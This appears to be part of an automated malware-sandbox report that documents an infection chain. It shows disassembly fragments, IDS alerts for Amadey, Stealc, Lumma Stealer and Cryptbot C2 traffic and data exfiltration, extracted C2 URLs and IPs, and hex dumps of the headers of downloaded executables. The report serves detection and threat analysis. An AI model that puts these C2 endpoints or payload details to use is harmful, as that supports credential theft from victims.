Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then mov byte ptr [eax], bl	7_2_6C9F3305
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-65h]	7_2_6C9F475B
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	7_2_015AEEE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [eax], bl	9_2_72B2CF05
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-65h]	9_2_72B2E35B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edx, ecx	9_2_72B2BC9D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+14h]	9_2_72B298F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edx, eax	9_2_72B5B8E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edx, ecx	9_2_72B5B8E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx eax, byte ptr [esp+esi+000001E8h]	9_2_72B2E0D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [edi]	9_2_72B45E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [esi], cx	9_2_72B2EA38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [eax+ecx+00008F12h]	9_2_72B277D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [ebp+ebx*4+00h], ax	9_2_72B277D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-58FA0F6Ch]	9_2_72B60F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [esi], cl	9_2_72B48CB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov eax, ebp	9_2_72B25C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov eax, ebp	9_2_72B25C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 4C697C35h	9_2_72B5BCE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then push eax	9_2_72B5F8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edi, eax	9_2_72B5F8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	9_2_72B2C02B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [ebx], al	9_2_72B40870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then push eax	9_2_72B5B860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 98D5A07Fh	9_2_72B5C040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], C18BC4BAh	9_2_72B5C040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 6DBC3610h	9_2_72B5C040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 98D5A07Fh	9_2_72B5C040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [eax+ecx]	9_2_72B2AD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+14h]	9_2_72B2E970

Source: chrome.exe	Memory has grown: Private usage: 0MB later: 39MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 180MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49748 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49759
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49777 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044623 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) : 192.168.2.4:49793 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49815 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49846 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49852 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49852 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49852
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49852 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49852
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49852 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49867 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49916 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49939
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49983 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50036 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50075 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50095 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50120 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50131 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:50269 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49771 -> 172.67.223.140:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49771 -> 172.67.223.140:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49787 -> 172.67.223.140:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49779 -> 172.67.223.140:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49779 -> 172.67.223.140:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49865 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49914 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49819 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49819 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49866 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49866 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49829 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49829 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49822 -> 172.67.223.140:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49873 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49873 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49959 -> 104.21.33.116:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: https://property-imper.sbs/api
Source: Malware configuration extractor	IPs: 185.215.113.43

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: shellcode.exe.6.dr

Source: unknown

Network traffic detected: DNS query count 37

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 14:22:10 GMTContent-Type: application/octet-streamContent-Length: 665088Last-Modified: Sat, 23 Nov 2024 13:50:48 GMTConnection: keep-aliveETag: "6741ddb8-a2600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d1 db 41 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 f4 01 00 00 2e 08 00 00 00 00 00 0a a0 0a 00 00 60 08 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 0a 00 00 04 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 67 08 00 57 00 00 00 00 60 0a 00 50 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 0a 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 0a 00 08 00 00 00 00 00 00 00 00 00 00 00 00 60 08 00 48 00 00 00 00 00 00 00 00 00 00 00 0f 0d 57 7b 32 16 2f 63 78 23 08 00 00 20 00 00 00 24 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 65 78 74 00 00 00 80 f0 01 00 00 60 08 00 00 f2 01 00 00 28 08 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 50 06 00 00 00 60 0a 00 00 08 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 0a 00 00 02 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 10 00 00 00 00 a0 0a 00 00 02 00 00 00 24 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 14:22:22 GMTContent-Type: application/octet-streamContent-Length: 1846784Last-Modified: Sat, 23 Nov 2024 13:21:38 GMTConnection: keep-aliveETag: "6741d6e2-1c2e00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 70 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 49 00 00 04 00 00 50 4f 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 76 6e 70 77 79 7a 6c 00 90 19 00 00 d0 2f 00 00 8e 19 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 62 7a 70 6e 70 65 66 00 10 00 00 00 60 49 00 00 06 00 00 00 06 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 49 00 00 22 00 00 00 0c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 14:22:30 GMTContent-Type: application/octet-streamContent-Length: 1787392Last-Modified: Sat, 23 Nov 2024 13:21:45 GMTConnection: keep-aliveETag: "6741d6e9-1b4600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 c0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 68 00 00 04 00 00 12 48 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 66 63 65 66 68 71 72 00 b0 19 00 00 00 4f 00 00 a8 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 68 6b 7a 6e 65 78 67 00 10 00 00 00 b0 68 00 00 04 00 00 00 20 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 68 00 00 22 00 00 00 24 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 14:22:39 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Sat, 23 Nov 2024 13:19:52 GMTConnection: keep-aliveETag: "6741d678-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 70 d6 41 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 3c af 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 98 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 a8 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 14:22:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 